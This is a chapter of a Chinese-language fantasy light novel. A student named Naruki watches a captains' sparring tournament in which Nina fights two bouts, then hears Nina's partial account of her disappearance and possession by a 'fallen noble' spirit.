01 我不會坦白的

01 我不會坦白的

到頭來,沒有人知道事情的詳細經過。

妮娜.安多克的突然失蹤,以及返回,還有這段期間內潔爾妮的暴走。

這些事都跟廢貴族有關。

她明白這個事實,與第十小隊有過交戰經驗的娜爾姬,已經曉得這個事實。

附身在迪恩.丁軀體上,如同動物般的謎樣存在。薩林邦教導傭兵團的團長──海亞,稱牠為廢貴族。

牠是壞掉的電子精靈。

憎恨污染獸的心,將過去為了控制自律型移動都市所使用的全部力量,全部投注在增強武藝家的實力上。

牠是發狂的電子精靈。

無法承受那股力量的迪恩至今仍在住院,也沒聽說他恢復意識的消息。他是擁有守護都市這種強烈信念,卻沒有對等實力的可悲武藝家。就是因為如此,他染指了被禁用的剄脈加速藥,就結果而論,也得了更為強大的廢貴族之力。

也是一個可憐的人。

然而事到如今,她似乎能稍稍體會迪恩的心情。

潔爾妮前陣子的暴走,讓娜爾姬深深了解到自己有多麼弱小。

污染獸接二連三來襲的事實,沒有讓其他學生曉得。不過隸屬於第十七小隊的娜爾姬,卻親眼看到了雷馮的改變。當時的雷馮由於妮娜行蹤不明,心情之壞早已超越焦躁的程度。他幾乎沒有來學校,就算偶爾見到面也總是一臉疲倦,他甚至沒有心力隱藏這種表情了。

他在戰鬥,娜爾姬直覺似地領悟了這件事。一直到妮娜失蹤的那時起,她才明白雷馮擁有遠勝於普通武藝家的強大力量。

那股力量,讓雷馮在面對污染獸時不會畏懼、不會害怕,甚至沒有那種心情的必要。他,正在戰鬥。

而且他累了。

這個事實讓她感受到雷馮置身其中的戰鬥有多激烈。

在這種情況下,學生會長主持的全校集會後的第二場戰鬥中,娜爾姬與污染獸交手了。

在第一場戰役中,戰鬥開始的前一刻,從潔爾妮那邊傳來了停止命令,所以實際上並未進行戰鬥。據說,當時潔爾妮上空突然出現一隻會說人話的污染獸,然後又忽然消失了。

再來是第二場戰鬥,就是妮娜回來那天的戰役。

當時娜爾姬能做到的,只有讓成體污染獸瞬間停止動作這件事而已。她明白那個瞬間,是打倒那隻污染獸的必要條件。

然而,這卻是娜爾姬唯一能做到的事。

雷馮明明孤身與無數污染獸戰鬥,也屠殺了數不盡的敵人。

當時自己所感受到的無力感,跟迪恩打從以前就感受到的情緒應該類似吧。

他試著靠自己的力量盡可能的接近目標,不斷努力,持續精進……最後走到了使用剄脈加速藥的下場。

這種下場實在可悲。

正因如此,娜爾姬無法選擇這種結局。她隸屬於都市警察局,而且最後也打算回自己的都市當警察的心願,這並不是唯一的原因。

娜爾姬當時雖然幫不上任何忙,但她親眼見證了那個結局,而且也在內心不斷否定。即使後來能理解他的心情,娜爾姬也做不出相同的舉動。

因為她知道那種下場,只有自己與眾不同毫無根據的自信,並不存於娜爾姬的內心。

妮娜回來的那一天,潔爾妮就停止暴走了。

而且從妮娜失蹤的那一天起,潔爾妮就開始暴走。這麼一想,這個推論應該不會有錯。

(隊長應該知道些什麼才對。)

再說……

潔爾妮的暴走,必定與廢貴族有著某種牽連。憎恨污染獸的心,與有如襲向污染獸般不停暴走的潔爾妮之間,肯定有著某種關聯。

因為就算壞掉,即使發狂,廢貴族仍然是電子精靈。

(隊長失蹤時一定發生了什麼事。)

沉思的娜爾姬被拉回了現實。

歡呼聲響徹在體育館內。

污染獸大量襲擊事件後還不到一星期的今天,娜爾姬來到了學生會大樓附近的體育館。潔爾妮的運動系社團都會使用這座建築物,所以這裡也設置了觀眾席。

娜爾姬觀看著在這裡舉行的比賽。

「這樣白隊就贏兩場了。」

以略微軟弱的語氣如此說道的人是哈雷。

「打從比賽最初,情勢就對白隊有利呢。我看應該差不多了。」

夏尼德如此低喃,然後將視線望向比賽會場。

現場還有雷馮、菲麗,以及妲爾潔娜。除此之外,觀眾席上還零星分布了幾個五、六個人的小團體,而且他們也在看比賽。

所有人都是小隊員與相關人士。

還有妮娜並不在觀眾席,而是在比賽會場上面。

「但是在這個節骨眼舉行這種比賽,到底有什麼意義呢?上次大會時,我根本沒聽說過這種事情。」

表情困惑的妲爾潔娜看著紅隊的選手站上會場。

妮娜是紅隊的第七名隊員。

今天第一至第十七小隊的隊長齊聚一堂,在這裡進行了一場紅白對抗賽。

由於欠缺第十小隊之故,所以在十六名小隊長之中,第一小隊的梵希自動成為了紅隊主將,第五小隊的哥爾尼歐則是白隊主將。至於剩下的人要被分到紅隊還是白隊,以及他們的出場順序,則是用抽籤決定。

小隊對抗賽時的戰績,決定了兩隊的主將。

在這種偶然的對戰組合下,除了面前的勝負外,不允許任何保留實力的戰術運用。

「哎,這大概就是對抗賽後的餘興節目吧。」

「在這種緊要關頭空出時間,就只是為了這種小事嗎?」

「也許他們有什麼想法囉,例如人員編制之類的事。」

「我覺得看對抗賽的結果就夠了吧……」

哈雷也加入了夏尼德與妲爾潔娜的對話,不過當比賽開始的訊號響起時,他們同時安靜了下來。

娜爾姬望向雷馮。

他臉上沒有對這場比賽感到疑惑的表情,之前的緊張感全然消失的雷馮,一臉輕鬆的看著比賽。

妮娜平安歸來的事實,似乎讓他打從心底鬆了一口氣。

與之前那副緊繃模樣全然不同的態度,讓娜爾姬有一種失落的感覺。

不過她也覺得好像看到了自己熟識的雷馮。

不,事情大概就是這樣吧。

看到雷馮截然不同的另一面後,她實在想不太起來他平常的模樣,娜爾姬對自己的記憶失去了信心。

(雷馮知道實情嗎?)

妮娜是怎麼失蹤的,又是如何回來的呢。

還有在雷馮旁邊保持靜默的菲麗,以及其他人都知道這件事嗎?他們不會介意嗎?不會想知道嗎?

會不會只有自己被排擠了呢?

在第十七小隊中,娜爾姬的實力特別差,差到連她自己都覺得,別上小隊徽章這件事本身是不是有什麼誤會。

就算只有自己不知情,也不是什麼奇怪的事。

就在娜爾姬陷入沉思之際,隊長們進行的紅白對抗賽不知不覺進入了後半段,而且妮娜也站上了會場。

紅隊剛開始時雖連吃兩場敗仗,第三名選手卻阻止了連敗局面。之後紅隊展開絕地大反攻,於是妮娜跟自己一樣的第七名隊員進行對戰。

第七名隊員是第十四小隊的辛.凱漢。

「自從對抗賽後,就沒像這樣跟妳交手了。」

「請多多指教。」

「之前我每天都要陪妳練習,練到後來都覺得煩了,妳這個新人還真難帶呢。」

妮娜成立第十七小隊前,是第十四小隊的成員。辛雖然不是當時的隊長,但卻以一名可靠學長的身分陪妮娜練習。他跟上一任的隊長相同是一名很喜歡照顧別人的男子,也就是因為這樣,沒人對他繼承隊長寶座的結果有任何異議。妮娜也不認為他當上隊長是一件奇怪的事。

他不只喜歡照顧別人,連實力也相當強。事實上,他在對抗賽中取得第三名的戰績。

「對了對了,溫斯那傢伙有來挖角吧?不知道妳有多頑固的人才會做這種事吧,我實在很羨慕他呢。」

溫斯是第三小隊的隊長。

的確,與第十六小隊比賽前,他有過來談過挖角的事。

「哎,我可以體會他想要妳的心情啦。事實上如果妳還在的話,說不定我能當上白隊的主將呢……」

兩隊的大將在這次對抗賽中並列第一。白隊的大將哥爾尼歐與辛,在對抗賽的最後一天交手。

他的意思是,只要有妮娜在,那場比賽就能獲勝。

「非常感謝你,可是……」

自己得到了高度評價,妮娜只覺得很高興。況且說出這句話的人是熟知妮娜的辛,所以份量又更重了。

「不過,我對第十七小隊感到很自豪。」

妮娜面對面的說出了這句話,辛臉上泛起苦笑:

「這就是我認識的妮娜吧。那麼,我們開始囉。」

「是的。」

比賽開始。

妮娜保持距離,並且雙手拿著黑鋼鍊金鋼製的鐵鞭擺出架勢。

辛的武器是劍。他手持重視速度的碧寶鍊金鋼製細劍,悠然地擺開架勢。

風在兩人周圍舞動。辛的周圍產生了剄流,而且流入劍身之中,這股流動帶來了風。

青石鍊金鋼的剄流傳導率最佳,紅玉鍊金鋼適合當做化鍊剄的觸媒。以黑鋼含有率調整性質的第三種鍊金鋼──碧寶鍊金鋼,則是在剄流集中率占有優勢。

擺出下段架勢的辛舉起長劍,並且將劍尖指向了妮娜。

這是妮娜熟到不能再熟的架勢。

(他想一口氣分勝負。)

將手腕收進身體內側,有如緊抱劍柄般的獨特突刺架勢。接下來會出現的招式是……

來了!

這是外力系衝剄變化──點破。

集中在劍尖的衝剄,隨著突刺的動作以高速擊發。

「唔!」

(躲不開!)

做出判斷的瞬間,妮娜讓剄流在全身奔馳。

這是內力系活剄變化──金剛剄。

將剄流集中在受到攻擊的部位,形成剄流防壁彈開攻擊。這是要在瞬間判斷敵人攻擊哪個部位,又得將剄流集中在那裡的高等防御術。

衝剄穿越交叉在身體前方的鐵鞭,胸口竄過一陣衝擊。

「唔……」

無法以金剛剄抵消的痛楚,讓妮娜發出了呻吟聲。

「…………」

辛無言的看著妮娜的反應。辛平常雖然愛講話,但是只要一進入戰鬥狀態就會變得沉默,從以前他就是這樣。

(不過剛才那一擊……)

妮娜感到冷汗爬上了背部。

隸屬於第十四小隊時,妮娜可以勉強避開這個招式。

之前對抗賽時,她也做得到。

但今天辛的突刺,卻以超越妮娜想像的高速猛襲而來。

(這麼短的時間內,學長就變得那麼強了嗎?)

如果沒有雷馮教的金剛剄,剛才那一擊或許已讓妮娜敗北她甚至沒時間轉守為攻。

不過妮娜也看見了這一招的弱點。

(集氣時間太長了,如果是接近戰的話,還使得出這一招嗎?)

既然速度與威力比以前還強,蓄力時間也應該會增加才對。

這麼一想後,妮娜行動了。

她衝了出去,並且朝左右快速移位。從以前開始,妮娜的第一擊就廣受好評。

(讓你見識見識我的成長!)

妮娜以這種心情擊出鐵鞭。右臂以大上段揮出的一擊被細劍格開,辛的身體也同時朝右側移動。這雖然是警戒右手第二擊的基本動作,妮娜卻利用被格開後導致方向改變的力量,以裡拳的要領揮出左手的鐵鞭。對辛來說這招雖然搶先一步,但他還是在千鈞一髮之際躲開攻擊。

空氣中混雜著物體燒焦的氣味。鍊金鋼彼此互擊爆出的火花,與蛋白質燒焦的臭味……辛的瀏海比剛才短了一點。

妮娜沒有停下腳步,她再度縮短與辛之間的距離。

辛再次後退。

他做了一個小跳躍,利用腳與地板接觸的短暫空檔,辛又擺出了點破的架勢。

(集氣時間太短了!)

那麼,剛才是故意花那麼長的時間集氣的嗎?自己中計了嗎?

然而事到如今已經停不下來了。

防守時要有毅力,攻擊時則要不怕一切。遵守自己來到潔爾妮之前就有的不變信條,妮娜再次逼近對手。

她不畏懼以最小範圍的動作擊發的點破,也沒用金剛剄採取守勢,而是向前邁近準備釋出下一擊。

撕裂左頰似地衝擊掠過。

接著是右腕確實命中目標的觸感。

「咕!」

留下微微呻吟聲的辛在原地跪倒。

在那瞬間,裁判宣布了妮娜的勝利。

「戰術好像用過頭了呢。」

壓著被擊打的肩膀發出苦笑,辛一邊站起身子:

「妳變強了呢,妮娜。是因為那些傢伙的關係嗎?」

他的視線望向妮娜背後,坐在觀眾席上的第十七小隊全員。

「嗯!」

妮娜充滿驕傲的點了頭。

另一方面,觀眾席上的娜爾姬,忍不住嘆了一口安心的氣。

在她身旁,哈雷正興奮的發出歡呼聲,雷馮則是露出柔和的笑容。

「呼,讓我捏了一把冷汗呢。」

「辛的點破適合在中距離戰中使用。堅持近距離戰,並且速戰速決的選擇沒錯。」

「是這樣嗎?」

聽到夏尼德與妲爾潔娜的對話,娜爾姬悄聲向雷馮提出了問題。

「嗯。就架勢的感覺來看,那一招應該能用更快的速度連發才對。而且那個人的腳步也很靈活,如果第一擊時隊長就拉開距離保持警戒,我想大概就沒辦法再縮短距離了吧?」

「是喔……」

經過雷馮的解說後,娜爾姬總算明白兩人在瞬間做出那些行動的理由。

「不過我不曉得隊長在那個瞬間有沒有這樣思考就是了。」

「咦?」

「突然改變行動方針,是一件很困難的事,不管是誰都一樣。隊長選擇了隊長自己最能掌握的攻擊行動,而且那個人也想嘗試新的戰法,所以這只是兩人最初的行動方針剛好配合上的關係吧?我覺得兩人的實力應該差不多才對。」

妲爾潔娜對妮娜速戰速決的選擇大為讚賞,雷馮也表示如果妮娜因為辛最初那一擊而猶豫不決,或許就會因此敗北。

「只靠強大力量或是精湛技巧,是沒辦法決定輸贏的。在隊長等級的戰鬥中,這也是很常見的事吧。」

雷馮說完後,會場傳出了宣告比賽開始的廣播。站在妮娜正面的下一名對手,是白隊主將哥爾尼歐。

(這麼說來,那種力量是源自廢貴族囉?)

妮娜變強了,這一點不會有錯,然而那是靠著正常成長所獲得的力量嗎?的確,娜爾姬知道自己加入小隊前,妮娜除了小隊訓練外,還在私底下進行嚴苛的特訓。娜爾姬曾親眼目睹過妮娜因此不支倒地,也聽說過雷馮陪她訓練的事。

既然如此,剛才的比賽結果,純粹只是成長的證據囉?

廢貴族之力沒有參與其中嗎?

阻止潔爾妮暴走的人是妮娜……娜爾姬不由自主的產生了這種想法。然而這不就表示妮娜將廢貴族之力據為己有了嗎?

(我太快下結論了吧?)

或許如此。

但是廢貴族到底去哪裡了?

娜爾姬應該對別人提出這個疑問嗎,如果要問的話……又該對誰提出呢?

不,這個問題該問誰,自己早就心裡有數了吧?

迪恩的下場,給了娜爾姬一個疑問。

即使涉入了超過能力範圍外的事件,自己也幫不上任何忙嗎?那是一個連薩林邦教導傭兵團這種強者集團,都要全員出動加以捕捉的存在。如果雷馮與傭兵團都不在現場的話,當時有人能阻止迪恩暴走嗎?

(可是……)

就這樣放著不管,事情會有任何改變嗎?如果不針對廢貴族的問題想出對策,潔爾妮或許會跟先前一樣再次暴走。

可以無視這種危險性嗎?

(小梅跟小米明明都在這裡……)

掠過體育館內部的轟音,再次將娜爾姬的視野拉回了現實的場景。

比賽開始的訊號發出後,兩者同時展開行動。

在小隊長之間,哥爾尼歐是僅次於梵希的巨漢。光是站立在眼前,就能感受迎面襲來的壓迫感。倘若被這股氣勢逼退,肯定會讓體格優勢產生決定性的影響。

(既然如此!)

妮娜竄出的同時,哥爾尼歐也縮短了距離。

哥爾尼歐縮小架勢擺在胸前的雙拳,看起來比他的體格還要巨大。

(是化鍊剄!)

左拳持續巨大化。

不,不對!它正朝這裡接近。

「唔!」

沒時間閃避了。

妮娜以右手的鐵鞭迎擊。堅硬的感觸、衝擊、金屬互相撞擊的尖銳聲響刺痛著耳膜。帶著熱氣的剄流餘波撫過了顏面。

鐵鞭與哥爾尼歐恢復原本尺寸的左拳對撞在一起。

(右邊!)

她沒時間放鬆。對方有兩隻手,那是慣用手蓄滿力量的一擊。反過來說,妮娜必須以非慣用手的左手鐵鞭迎敵。

鐵鞭雖從正面揮落,卻遭到彈回。妮娜在身體失去平衡無法控制前,主動躍向前方卸去了衝擊。

然而哥爾尼歐的動作卻沒有因此而停止。

哥爾尼歐已經搶先一步,繞到妮娜落地位置的前方等待。帶著強烈風壓的巨漢,就站在自己的側面。

沒空檔重新調整姿勢了。

衝擊襲向背部的是踢擊,如同被粗重樹幹撞到般的衝擊傳出,使得妮娜也跟著被拋到反方向。

不過她在千鈞一髮之際使出了金剛剄,妮娜在地板上滾動,然後再度起身。

哥爾尼歐已經擺好了架勢。

(如果他覺得剛才那招已經獲勝的話……)

說不定自己就有機可趁。

哥爾尼歐擺出的架勢雖然比剛才大上許多,看起來卻沒有絲毫鬆懈的模樣。即使距離已經拉開,妮娜仍可以感受到剄流的壓力。敵人戰意高張,就好像隨時要衝向這邊一樣。

(他想幹嘛?)

哥爾尼歐的武器就是他的四肢,他雖然使用著化鍊剄這種富有變化的剄術,卻是只為了輔助以四肢使出的格鬥術。

但如果不把化鍊剄這種千變萬化的剄術使用在攻擊技巧上,這種做法根本不具意義。

空氣發出短促低吼,敵人又揮出了左拳。

兩人分別站在會場的兩端,這不是拳頭所能觸及的距離。

「唔!」

即使如此,第一時間在身體前方交錯的鐵鞭,還是傳來了沉重的衝擊。

(這是衝剄?)

外力系衝剄是以破壞力為主的能源波。在釋放時不藉由招式給予形態,而只是單純發射出能源波的做法。撇開規模大小,只要是受過剄流訓練的武藝家,都有辦法做到這種事。

讓衝剄射程達到妮娜與哥爾尼歐之間的距離,對小隊員來說並非難事。

但是這一招並沒有衝剄特有的破風聲,也沒讓氣流紊亂。鐵鞭突然傳來沉重衝擊,而且沒附帶任何特殊效果。

(簡直就像被拳頭打到一樣,這到底是怎麼一回事……)

妮娜思考之際,哥爾尼歐再次釋出拳擊。

妮娜避向右方,避開了待在拳頭行進路線上的危險。

「啊!」

然而右側腹卻傳來了衝擊,妮娜跪倒在原地。

「這是外力系衝剄的化鍊變化──蛇流。」

「咦?」

這聲低喃讓坐在觀眾席上的娜爾姬,將視線從受到不可視攻擊,而在原地無法動彈的妮娜身上轉向了雷馮。

「你知道這一招嗎?」

「我有看過,不過是威力比這更強的。」

「那是什麼招式啊?我知道跟普通的衝剄不同,可是……」

妲爾潔娜也因為不清楚哥爾尼歐在做什麼,而露出困惑的表情。

哥爾尼歐在原地寸步不移,有如練習格鬥技套路似地揮拳踢腿。然而那裡除了他粗大手腳所引動的風聲外,完全沒有釋放出衝剄的任何痕跡。

「這是化鍊剄,他把化鍊剄構成的細線黏到隊長身上,藉由細線傳導就可以將拳頭的衝擊傳出。」

「線?」

夏尼德半信半疑的瞇起眼睛觀察。遠距離射擊很拿手的他,也很擅長用活剄強化視力。娜爾姬也試著強化了視力,卻沒看見任何像是細線的物體。

「啊啊,沒錯,我看到一些東西,一共有四根吧?」

「嗯。所以只要仔細觀察哥爾尼歐的動作,就能知道他要攻擊什麼地方。」

「咦……?」

只要哥爾尼歐揮出拳頭,妮娜的身體也會跟著搖晃。娜爾姬照著雷馮所言仔細觀察,果然發現哥爾尼歐四肢的移動,與妮娜身體的搖動之間有著一定的規律。

「隊長也知道這件事,所以她使出了金剛剄,從後半場開始她就沒受到損傷了。」

「不過這樣下去的話,就只能挨打嘛。在我們的隊長後面,還有梵希老大要應付,所以哥爾尼歐應該會想保留體力才對。如果進入持久戰的話,他最後還是會輸掉比賽吧?」

「說得沒錯。金剛剄消耗掉的剄流,比蛇流還要大上許多……原來如此,只放出四根細線,就是想將剄流的消耗控制在最小的範圍內嗎?我覺得他應該能使出更多根才對……」

「只放出四根是指?」

「我知道的使用者可以放出更多根細線,還能依照戰況不同變更傳導線。不這樣做的話,攻擊點就會像現在一樣被識破而失去功效。」

「難道雷頓也會這一招嗎?」

「會用是會用,可是不習慣化鍊剄的我用這招只會浪費體力而已,使用鋼絲還比較有效率。而且是衝擊的話倒也還好,如果把斬擊傳導出去的話,是會讓對方骨折的。」

娜爾姬只是隨口問問,但雷馮卻理所當然似地做出了回應,雷馮的力量實在深不可測。

娜爾姬驚訝地望著雷馮的側臉時,他觀看比賽的雙目又瞇得更細了。

「但是如果他真的保留實力的話,那就太小看隊長了。因為我已經教過隊長,分別凝聚出兩股剄流的方法。」

雷馮的話,讓娜爾姬將視線移回會場。

妮娜在原地一動也不動的承受著攻擊,她將鐵鞭交叉於胸,縮緊身體忍耐著招式。

娜爾姬身旁的雷馮喃喃低語:

「既然知道了打擊點,就可以減少使用在金剛剄上面的剄流。金剛剄雖是大技,但這麼做可以節省剄流。如果她不打算進行持久戰,不,如果想趁機逆轉的話,只要把那些剄流累積下來……」

娜爾姬還沒辦法跟雷馮一樣看見剄的流向。即使如此,只要凝神注視,她還是能看見妮娜的身軀正散發出朦朧光華,而且光的密度也逐漸提昇。

(她要準備反擊了。)

娜爾姬如此心想,此時妮娜將鐵鞭交叉於胸前的防禦架勢,也慢慢做出改變。鐵鞭的形態仍然不變,但握著它們的雙腕卻一點一點地改變著位置。她張開了緊縮的腋下,右臂微微收回,左臂則試著伸向前方。配合著一連串動作,鐵鞭交叉處的位置也由前面朝上方移動。

連娜爾姬都能看出這些改變,哥爾尼歐當然不可能看漏。

拳擊停止了。

他縮回右拳,並且將剄流集中在上面。

哥爾尼歐也打算一招決勝負。只要妮娜後面還有梵希的事實不變,他就無法使出全力。然而中計的妮娜既然打算一招逆轉,哥爾尼歐也只能挺身應戰。

問題是迎擊的方式。

要閃避,還是要互擊?

來自哥爾尼歐的攻擊停止後,妮娜凝聚剄流的速度也提昇了。從那裡散發的壓迫感,甚至強到了娜爾姬可以用肌膚感受到的地步。

對手哥爾尼歐也釋出了相同程度的壓迫感。狂風包圍了巨大身軀,而且在轉眼間愈變愈激烈。在不影響都市警察勤務的情況下,娜爾姬都會來看比賽,而這些賽事之中,也包括哥爾尼歐率領的第五小隊的比賽。除了與第十七小隊的比賽外,自己應該還看過兩場吧。在小隊員之中,只有哥爾尼歐與同隊的香媞會使用化鍊剄。將範圍擴大至武藝科全體的話,或許會有其他人能使用化鍊剄,但能在實戰中靈活運用化鍊剄的人,只有這兩人而已吧。

娜爾姬以前曾經聽過,化鍊剄是一種難以學會的剄術。而且她也知道就因為它很難學,所以只要能靈活運用,就能成為強大的助力。

妮娜動起來了。

在那瞬間,妮娜的身影憑空消失,只留下一條電光。

這是外力系衝剄變化──雷迅。

彷彿整座體育館爆裂的轟音充滿室內。簡直就像空氣罩被閃電觸及般的轟音,以及閃光烙上了娜爾姬的雙眼。

被刺眼光芒閃到眼睛的娜爾姬,根本看不見發生了什麼事。

直接陳述結論的話,在朦朧視野中傳進耳膜的是裁判宣告哥爾尼歐勝利的聲音。

至於為何會出現這種結局,雷馮提出說明:

「隊長的招式被識破了。從隊長的架勢判斷,對方知道那不是衝剄的遠距離攻擊。就個性而言,隊長不會加上假動作,在那個情況下也沒這種空檔。既然如此,唯一的可能就是直線攻擊。既然明白這一點,接下來就要看自己的實力是否能應付那股速度與破壞力了,哥爾尼歐使出了那一招。」

外力系衝剄的化鍊變化──風蛇。

這是哥爾尼歐擊敗妮娜的招式名稱。

「在古連丹那邊,只要在招式名稱加上蛇字,一般來說都不是直線攻擊。如果想用拳頭正面接下隊長的攻擊,可是會吃不了兜著走呢。從拳頭釋放出的衝剄轉了個彎,並且命中隊長的側腹,輸贏就是這樣決定的。

只不過隊長的速度,似乎也超乎了他的預料呢。」

就在此時,梵希與哥爾尼歐在最後面的比賽也宣告終止。

是梵希勝利。

「哥爾尼歐雖然擋下武器的一擊,卻沒辦法防禦住那種極速所產生的衝擊波,他體內的神經應該都麻痺了吧。」

紅隊的勝利,讓自家隊長參與其中的小隊員們發出了歡呼聲。

「話雖如此,我到現在為止都不曉得隊長會這種招式耶。就算在對抗賽時,也沒看她用過這招啊?」

「嗯……隊長會是會啦,可是想使用這招,她也要變強到某種程度才行。」

「這是什麼意思?」

「金剛剄雖是一學就能派上用場,卻是可以一直鑽研下去的技巧。反過來說,就算以半吊子的力量驅使雷迅,也只是跟旋剄差不多的高速攻擊罷了。既然如此,用旋剄還比較有效率,所以隊長到目前為止都沒用過這一招。」

聽了雷馮的話後,娜爾姬有了這種想法。

(這麼說來,隊長是從什麼時候開始,有辦法在實戰中使出這一招的?)

在對抗賽的最終戰,與第一小隊的戰鬥中,妮娜跟梵希演出了一場幾乎可以算是單挑的戰鬥。那時她並沒有使用雷迅,是沒有空檔使用雷迅,還是無法使用呢……?

如果是無法使用的話,就表示她在失蹤的期間內,實力增強到可以驅使這招的程度。

(廢貴族果然附在隊長身上?)

因為娜爾姬在思考這些事,所以她漏聽了雷馮在身旁的喃喃低語:

「我記得雷迅是我教的,但是我是什麼時候學會雷迅的呢?」

*

「那麼,到頭來這場比賽到底有什麼意義啊?」

比賽結束後,梵希體諒隊長們的辛勞,所以立刻宣布解散。現在才剛過中午而已,而且今天也沒課,時間多到讓妮娜宣布在練武館進行訓練也綽綽有餘的地步。

「是隊長們的最終實力考核吧。」

走在前方的妮娜如此說道。看她走路的模樣,似乎沒留下連戰兩場的疲憊感。

妮娜的話,讓夏尼與妲爾潔娜露出了「果然如此」的表情。

「啊啊,所以這是滲透部隊的選拔考試囉。」

「事情就是這樣吧。」

「派太多人的話,會減少主隊的戰力,不派人的話,對方的防衛戰力又會轉而針對我們的主力。他打算派多少人出去呢……」

「一個小隊比較保險吧。」

妲爾潔娜在妮娜的話語上加了自己的意見後,又接著說道:

「梵希是穩扎穩打的戰術家,所以他會確實準備好守備戰力,然後伺機反擊。就這點而論,哥爾尼歐與辛的做法都一樣。將主戰力與都市內防禦戰力配置完後……這麼一來,能使用的部隊頂多只有一個小隊,他應該是這樣想的吧。」

都市戰中的武藝家編制,以及戰略的擬定,雖是由隊長們組成的戰略研究會決定,但最後仍須對抗賽中前三名的小隊長梵希、哥爾尼歐,以及辛三個人共同商議才能拍板定案。

「這麼一來,血氣方剛的我們,搞不好會被選上喔。隊上有很多不知進退的隊員,與其派那種人去正經八百的主戰場,橫衝直撞的野豬戰法還比較適合他們呢。」

「你說誰是野豬?」

「當然是在我面前的大美女妳囉。」

「……到了練武館後給我做好覺悟。」

夏尼德與妲爾潔娜的對話讓雷馮露出苦笑,菲麗則是下定決心無視到底。

不……

娜爾姬發現,菲麗的視線望向妮娜的背部。要從喜怒不形於色的菲麗臉上看出端倪,並不是一件容易的事,即使如此,還是能看出她對妮娜抱持著某種疑惑。

(難道她也覺得奇怪嗎?)

就算有這種想法也不足為奇。因為妮娜失蹤時,以念威操作者身分支援她行動的人,就是菲麗。

不,在這支小隊裡面,有人不感到疑問嗎?那可是發生在大家的隊長身上的事。妲爾潔娜與娜爾姬一樣,加入第十七小隊的日子還很短。不過她之所以會在這裡,也是因為廢貴族的關係。只要有那個可能,妲爾潔娜就無法無視這件事。

(問出來應該沒關係吧?)

其他人有問這個問題嗎?

可是就算問了又能怎樣?自己束手無策的事實並不會因此而改變。是為了先做好心理準備嗎?這樣就行了嗎?

然而娜爾姬擔心的事,抵達練武館後就得到了解決。

「我有一件事情,一定要先跟大家講才行。」

一進入第十七小隊的訓練室,妮娜就一臉嚴肅的面向眾人。

「這陣子發生了很多事,一直到今天大家才到齊。可能的話,我想趁所有人都在的時候,把能說的事都說出來。」

娜爾姬待在所有小隊員的最後面,所以可以看到大家的反應。妮娜的這一番話,讓所有人都出現了緊張的神色。

剛才的輕鬆氛圍已經消失了。

這讓娜爾姬發現了一件事。除了她自己以外,想知道發生過什麼事的人,之前就已經詢問過妮娜了。

而且妮娜要求他們讓自己等到全員到齊的那一天,再說出真相。

雷馮也繃緊了臉孔,就個性而言,他肯定是第一個詢問的人。妮娜要他等待,所以他乖乖等到了現在嗎?

是因為相信妮娜,才能擺出那種從容態度,或者只是裝做沒事呢……

不管是哪一邊,雷馮一定對妮娜抱持著某種強烈的感情。

比任何人都擔心某人,比任何人都想成為某人的助力。對一般人來說,把這種情感稱為戀愛應該沒錯吧。

(雷馮是怎麼想的呢?)

梅珍雖以自己的方式積極的進攻,雷馮卻沒有回應她的感情。話雖如此,他也沒有刻意疏離。如果是情場老手的話,就可以判斷對方只是在利用梅珍的感情,讓她對自己言聽計從,但雷馮只讓娜爾姬想到兩個字──遲鈍。

雷馮就是這樣,他不會對妮娜抱持著純粹的戀愛感情,至少他本人肯定沒有這種自覺。

(怎麼搞的,感覺起來不是很舒服呢。)

雷馮對事物的理解,與自己擁有的常識之間似乎有著某種偏差。浮現在娜爾姬心中的就是這種感覺。

就在她被這種想法擄獲時,妮娜開了口:

「那一天與第一小隊的戰鬥結束後,我照著雷馮的指示去了機輪部門。在那裡我看見了……」

妮娜說的話就是這些。

抵達機輪部門的妮娜,不小心進到了無人曾經進去過的機輪部門中樞的內部。

在那裡,她看見了明顯處於異常狀態的電子精靈潔爾妮,還有廢貴族。妮娜試著救出潔爾妮,卻反而被廢貴族附身。

「那麼,妳的體內有那個怪物存在囉?」

妲爾潔娜的聲音發著抖。娜爾姬只能看到她的背部,所以不知道那是緊張或是憤怒。

「有是有,但牠無法支配我,我也沒受到牠的控制。」

「……這是什麼意思?」

「廢貴族在我體內沉睡,雖然我不曉得牠何時會覺醒,但至少牠目前什麼也做不到。」

這些說明無法解釋任何事情。牠為什麼會沉睡?方法是?又是誰弄的?

「……話說回來,妳到底去哪裡啊?」

夏尼德搔著頭髮提出了質問。妮娜沒意願回答的事,他打算先擺到一邊吧。

「我們可是翻遍了整座都市耶。不只是我們,連都市警察也在暗中搜索,可是卻連妳躲藏在某處的蛛絲馬跡都沒有發現。」

潔爾妮是供數萬名學生生活的空間,要在這裡進行地毯式搜索絕不容易。可是娜爾姬知道都市警察成功辦到了這件事。為了保密,參與人數也因此受限,所以進行的並不順利。即使如此,他們還是搜索了都市的每一個角落。

然而還是沒有找到妮娜的行蹤。

也就是說……?

「……我不在潔爾妮這邊。」

「那妳去了哪裡?」

可是這實在令人難以置信,她在潔爾妮以外的場所?那會是哪裡呢?都市外面充滿了污染物質,那不是血肉之軀的人類,能不穿防護衣存活下去的地方。既然如此,那就是其他都市囉?她到底是怎麼辦到的?是乘坐流浪巴士嗎?可是她又是怎麼回來這裡的呢?在都市暴走期間,根本沒有半輛流浪巴士停靠啊。而且話說回來,為什麼非離開都市不可?

然而話都說到這裡了,妮娜卻不肯繼續說明:

「對不起,我不能再說下去了。」

「這是為什麼?」

雷馮靜靜的問道。

「我無論如何都不能說出真相,抱歉。只能說我並不是只對你們保密,這件事我甚至沒對學生會長講,也不能對任何人講。」

娜爾姬望向菲麗。學生會長的妹妹聽了這些話後,臉上仍然沒出現任何表情變化,說不定她已經從學生會長那邊聽過內情了。

之後不管任何人說什麼,妮娜都沒再針對問題提出解釋。

都是因為這樣,後來訓練時氣氛差得嚇人。

*

傍晚,娜爾姬去了許久不曾前往的都市警局。

污染獸的騷動結束後,為了準備都市戰,潔爾妮開始全體動員展開正式練習,在都市警局工作的武藝家們,也因此減少了排班時數。

身為小隊員的娜爾姬當然不能例外,減少的時間甚至比其他武藝家更多。

「妳不必來也行啊。」

在強硬警備課辦公室被佛梅德這麼一說,娜爾姬感到有些遺憾。

「說不能這樣說,事件可不會挑時間發生。」

「不,它會挑時間喔。」

在自己的辦公桌上批閱公文的佛梅德,立刻做出了回答。

「有的事件就是會在特定時期發生,也有人就是在某些節骨眼上才會特別安分。哎,也有人不管什麼時候都要惹麻煩就是了。」

「你看,這裡不是有人手嗎。」

「我好久沒這麼有空整理這些舊文件了呢。」

